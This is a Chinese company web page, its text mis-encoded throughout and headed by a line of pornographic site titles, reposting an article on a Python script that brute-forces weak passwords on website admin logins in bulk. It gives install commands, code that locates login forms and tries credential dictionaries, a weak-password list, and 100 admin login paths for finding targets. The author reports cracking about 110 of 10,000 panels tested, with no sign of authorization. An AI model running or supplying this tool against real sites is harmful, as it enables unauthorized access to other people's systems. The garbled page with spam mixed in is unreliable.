日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢(xún)
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問(wèn)題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷(xiāo)解決方案
Web弱口令通用檢測(cè)方法探究

注意:本腳本只是探討通用web口令破解的可行性,所有測(cè)試請(qǐng)自行搭建靶機(jī)環(huán)境或者在拿到目標(biāo)系統(tǒng)相關(guān)授權(quán)后再進(jìn)行測(cè)試。文中所涉及的技術(shù)、思路和工具僅供以安全為目的的學(xué)習(xí)交流使用,任何人不得將其用于非法用途以及盈利等目的,否則后果自行承擔(dān)!

創(chuàng)新互聯(lián)建站主要從事網(wǎng)站設(shè)計(jì)、成都做網(wǎng)站、網(wǎng)頁(yè)設(shè)計(jì)、企業(yè)做網(wǎng)站、公司建網(wǎng)站等業(yè)務(wù)。立足成都服務(wù)張家口,十年網(wǎng)站建設(shè)經(jīng)驗(yàn),價(jià)格優(yōu)惠、服務(wù)專(zhuān)業(yè),歡迎來(lái)電咨詢(xún)建站服務(wù):18982081108

工具介紹

通用的web弱口令破解腳本,旨在批量檢測(cè)那些沒(méi)有驗(yàn)證碼的管理后臺(tái)。

隨著攻防演練和一些漏洞挖掘任務(wù)的增多,有時(shí)候需要大批量快速的檢測(cè)一些網(wǎng)站后臺(tái)安全性,特別是測(cè)試一些管理弱口令,這種難度不大但比較費(fèi)時(shí)費(fèi)力的工作就需要一個(gè)自動(dòng)化的腳本來(lái)完成了。但目前的各種web口令破解工具大多是針對(duì)某個(gè)cms進(jìn)行設(shè)計(jì),或者類(lèi)似burpsuite需要手工配置,沒(méi)有見(jiàn)過(guò)能通用的破解工具。

因此就有了這個(gè)小工具——通用web弱口令破解腳本,配合另一個(gè)信息搜集工具

https://github.com/TideSec/FuzzScanner 可以進(jìn)行批量快速刷分。

安裝使用

安裝使用都比較簡(jiǎn)單:

從Github上拖下來(lái)

 
 
 
 
  1. git clone https://github.com/TideSec/web_pwd_common_crack 

安裝requirements.txt依賴(lài)

 
 
 
 
  1. pip install -r requirements.txt 

運(yùn)行腳本即可

 
 
 
 
  1. python web_pwd_crack.py url.txt 50   --> url.txt為待掃描URL地址列表,50為線程數(shù),默認(rèn)為50 

url.txt為待檢測(cè)URL地址,可以自己寫(xiě)個(gè)腳本批量從搜索引擎獲取,也可以自己用目錄枚舉工具去搜集。

功能原理

1. 訪問(wèn)目標(biāo)地址,分析關(guān)鍵字

原理非常low,就是從頁(yè)面中提取表單,對(duì)表單中的內(nèi)容進(jìn)行檢索,發(fā)現(xiàn)存在用戶(hù)名、密碼、username、pwd、pass之類(lèi)的字段則認(rèn)為是登錄頁(yè)面,然后提取參數(shù)組成data數(shù)據(jù),發(fā)送給crack函數(shù)進(jìn)行破解。

由于現(xiàn)在各種網(wǎng)站的請(qǐng)求包的多樣性,目前沒(méi)法做到像wvs那樣能提取到所有的登錄post,只是根據(jù)簡(jiǎn)單的關(guān)鍵字進(jìn)行了提取。

 
 
 
 
  1. logins =['用戶(hù)名','密碼','login','denglu','登錄','user','pass','yonghu','mima','pwd','zhanghao','yonghu','name','email','account'] 

在測(cè)試中還發(fā)現(xiàn)有時(shí)候搜索框會(huì)干擾結(jié)果,所以把搜索框又進(jìn)行了排除

 
 
 
 
  1. sous = ['檢索','搜','search','查找','keyword','關(guān)鍵字'] 

另外,目前不支持自動(dòng)識(shí)別驗(yàn)證碼,所以對(duì)驗(yàn)證碼也進(jìn)行了排除

 
 
 
 
  1. yzms = ['驗(yàn)證碼','點(diǎn)擊更換','點(diǎn)擊刷新','checkcode','valicode','code','captcha'] 

2. 通過(guò)解析頁(yè)面獲取post地址及參數(shù)

 
 
 
 
  1. def get_post_get_page(content,url): 
  2.     form_action = str(content).split('\n')[0] 
  3.     # print form_action 
  4.     soup = BS(form_action, "lxml") 
  5.     url_path = '' 
  6.     for x in re.findall(".*?/",url): 
  7.         url_pathurl_path =  url_path+x 
  8.  
  9.     action_url = soup.form['action'] 
  10.     if str(action_url).startswith('http'): 
  11.         path = action_url 
  12.     else: 
  13.         path = url_path+soup.form['action'] 
  14.     method = soup.form['method'] 
  15.     return path,method 

3. 在獲取相關(guān)參數(shù)和path后調(diào)用破解函數(shù)web_crack進(jìn)行密碼破解

 
 
 
 
  1. def web_crack(method,path,data): 
  2.     conn =  requests.session() 
  3.     res0 = conn.get(path, headers=requests_headers(), allow_redirects=False,timeout=10,proxies = requests_proxies()) 
  4.     error_length,cookie_error_flag,dynamic_req_len = get_error_length(conn,method,path,data) 
  5.     if dynamic_req_len: 
  6.         return False,False 
  7.  
  8.     num = 0 
  9.     success_flag = 0 
  10.     dic_all = len(USERNAME_DIC)*len(PASSWORD_DIC) 
  11.     for user_name in USERNAME_DIC: 
  12.         for pass_word in PASSWORD_DIC: 
  13.             datadata1 = data 
  14.             # print data1 
  15.             user_nameuser_name = user_name.strip() 
  16.             pass_wordpass_word = pass_word.strip() 
  17.             pass_word = str(pass_word.replace('{user}', user_name)) 
  18.             data2 = str(data1.replace('%7Buser_name%7D', user_name)) 
  19.             data2 = str(data2.replace('%7Bpass_word%7D', pass_word)) 
  20.  
  21.             numnum = num+1 
  22.  
  23.             res = conn.post(url = path,data = data2, headers=requests_headers(), timeout=10,verify=False,allow_redirects=False,proxies = requests_proxies()) 
  24.             cur_length = len(res.content+str(res.headers)) 
  25.  
  26.             if cookie_error_flag:  # cookie_error_flag表示每個(gè)數(shù)據(jù)包中都有cookie 
  27.                 if cur_length!=error_length: 
  28.                     success_flag =1 
  29.                     return user_name,pass_word 
  30.             elif 'Set-Cookie' in res.headers and cur_length!=error_length: 
  31.                 success_flag =1 
  32.                 return user_name,pass_word 
  33.     if success_flag == 0: 
  34.         return False,False 

配置了一個(gè)比較簡(jiǎn)單的字典

 
 
 
 
  1. USERNAME_DIC = ['admin','guest','test','ceshi','system'] 
  2. PASSWORD_DIC = ['123456','admin','password','123123','123','1','{user}','{user}{user}','{user}1','{user}123','{user}2018','{user}2017','{user}2016','{user}2015','{user}!','P@ssw0rd!!','qwa123','12345678','test','123qwe!@#','123456789','123321','1314520','666666','woaini','000000','1234567890','8888888','qwerty','1qaz2wsx','abc123','abc123456','1q2w3e4r','123qwe','a123456','p@ssw0rd','a123456789','woaini1314','qwerasdf','123456a','123456789a','987654321','qwer!@#$','5201314520', 'q123456', '123456abc', '123123123', '123456.','0123456789', 'asd123456', 'aa123456', 'q123456789', '!QAZ@WSX','12345','1234567','passw0rd','admin888'] 

4. 如何判斷破解成功

目前使用了幾種方式相互結(jié)合的方法來(lái)共同驗(yàn)證。

  • 通過(guò)返回包里有沒(méi)有Set-Cookie;
  • 返回?cái)?shù)據(jù)包的長(zhǎng)度變化;
  • 使用requests.session()進(jìn)行重驗(yàn)證;
  • 返回頁(yè)面的內(nèi)容匹配。
  • 優(yōu)化準(zhǔn)確度,加入了recheck函數(shù)

在測(cè)試時(shí)發(fā)現(xiàn)會(huì)出現(xiàn)誤報(bào)情況,所以對(duì)成功的賬戶(hù)密碼進(jìn)行了重驗(yàn)證。比如:

  • 有些系統(tǒng)在探測(cè)多次之后出現(xiàn)封ip之類(lèi)的情況,這時(shí)候會(huì)干擾破解腳本的判斷;
  • 有些系統(tǒng)在開(kāi)始的時(shí)候沒(méi)有驗(yàn)證碼,但錯(cuò)誤幾次后會(huì)出現(xiàn)驗(yàn)證碼;
  • 有些系統(tǒng)的提示信息會(huì)出現(xiàn)隨機(jī)的變更,導(dǎo)致誤報(bào)。

工作界面

掃描過(guò)程如下

掃描成功的結(jié)果會(huì)保持在web_crack_ok.txt文件中

掃描中識(shí)別到驗(yàn)證碼、phpmyadmin等所有的日志會(huì)保存在web_crack_log.txt文件中,后期可以根據(jù)log日志再進(jìn)行逐一篩查。

其他說(shuō)明

其實(shí)在完成這個(gè)工具后,也開(kāi)始明白為什么市面上沒(méi)有通用的破解器,因?yàn)槌晒β实拇_不高!我測(cè)試過(guò)10000個(gè)管理后臺(tái),破解出來(lái)弱口令的大約110個(gè),有沒(méi)有漏報(bào)不清楚但基本沒(méi)有誤報(bào)。

成功率不高主要原因有:

  • web頁(yè)面類(lèi)型繁雜,很難準(zhǔn)確獲取并提交正確參數(shù);
  • 很多頁(yè)面都有驗(yàn)證碼,目前這個(gè)小腳本還沒(méi)法自動(dòng)識(shí)別驗(yàn)證碼;
  • 為了平衡時(shí)間和效率,使用了比較簡(jiǎn)單的用戶(hù)名和密碼字典,所以稍微復(fù)雜的密碼就破解不出來(lái)了。

我一般會(huì)使用dirsearch或之類(lèi)的目錄枚舉工具,配置一個(gè)比較輕便的管理后臺(tái)目錄字典,對(duì)目標(biāo)地址進(jìn)行批量掃描管理后臺(tái),然后再使用web_pwd_crack.py對(duì)這些后臺(tái)地址批量進(jìn)行弱口令破解。

貢獻(xiàn)一個(gè)比較精簡(jiǎn)的管理后臺(tái)字典(100條)

 
 
 
 
  1. admin/default/login.asp 
  2. admin/login.asp 
  3. admin/manage/login.asp 
  4. admin_login/login.asp 
  5. admincp/login.asp 
  6. administrator/login.asp 
  7. login.asp 
  8. manage/login.asp 
  9. manager/login.asp 
  10. member/login.asp 
  11. admin-login.php 
  12. admin/admin-login.php 
  13. admin/admin_login.php 
  14. admin/login.php 
  15. admin2/login.php 
  16. admin_area/login.php 
  17. admin_login.php 
  18. adminarea/login.php 
  19. admincontrol/login.php 
  20. administrator/login.php 
  21. administratorlogin.php 
  22. adminlogin.php 
  23. autologin.php 
  24. bb-admin/login.php 
  25. blog/wp-login.php 
  26. checklogin.php 
  27. login.php 
  28. modelsearch/login.php 
  29. moderator/login.php 
  30. nsw/admin/login.php 
  31. pages/admin/admin-login.php 
  32. panel-administracion/login.php 
  33. processlogin.php 
  34. rcjakar/admin/login.php 
  35. relogin.php 
  36. siteadmin/login.php 
  37. sqlbuddy/login.php 
  38. userlogin.php 
  39. usuarios/login.php 
  40. webadmin/login.php 
  41. wp-login.php 
  42. account/login.jsp 
  43. accounts/login.jsp 
  44. admin/login.jsp 
  45. auth/login.jsp 
  46. jsp/extension/login.jsp 
  47. login.jsp 
  48. member/login.jsp 
  49. members/login.jsp 
  50. portalAppAdmin/login.jsp 
  51. admin.jsp 
  52. netadmin.jsp 
  53. admin.php 
  54. admin.php3 
  55. admin/admin.php 
  56. admin_area/admin.php 
  57. adminarea/admin.php 
  58. authadmin.php 
  59. bb-admin/admin.php 
  60. checkadmin.php 
  61. cmsadmin.php 
  62. dbadmin.php 
  63. fileadmin.php 
  64. isadmin.php 
  65. linusadmin-phpinfo.php 
  66. memberadmin.php 
  67. moadmin.php 
  68. modelsearch/admin.php 
  69. moderator/admin.php 
  70. panel-administracion/admin.php 
  71. phpliteadmin.php 
  72. siteadmin.php 
  73. sysadmin.php 
  74. tmp/admin.php 
  75. ur-admin.php 
  76. user/admin.php 
  77. users/admin.php 
  78. webadmin.php 
  79. webadmin/admin.php 
  80. wp-content/plugins/akismet/admin.php 
  81. admin.asp 
  82. admin.aspx 
  83. admin/default/admin.asp 
  84. admin/manage/admin.asp 
  85. admin_login/admin.asp 
  86. administrator/admin.asp 
  87. article/admin/admin.asp 
  88. denglu/admin.asp 
  89. guanli/admin.asp 
  90. houtai/admin.asp 
  91. login/admin/admin.asp 
  92. manage/admin.asp 
  93. manager/admin.asp 
  94. member/admin.asp 
  95. admin/logon.jsp 
  96. admin/secure/logon.jsp 
  97. compass/logon.jsp 
  98. logon.jsp 
  99. logon/logon.jsp 

ToDo

  • 驗(yàn)證碼識(shí)別
  • 減少誤報(bào)率
  • 優(yōu)化編碼處理
  • 能不那么low

文章標(biāo)題:Web弱口令通用檢測(cè)方法探究
本文地址:http://www.5511xx.com/article/dpsspjh.html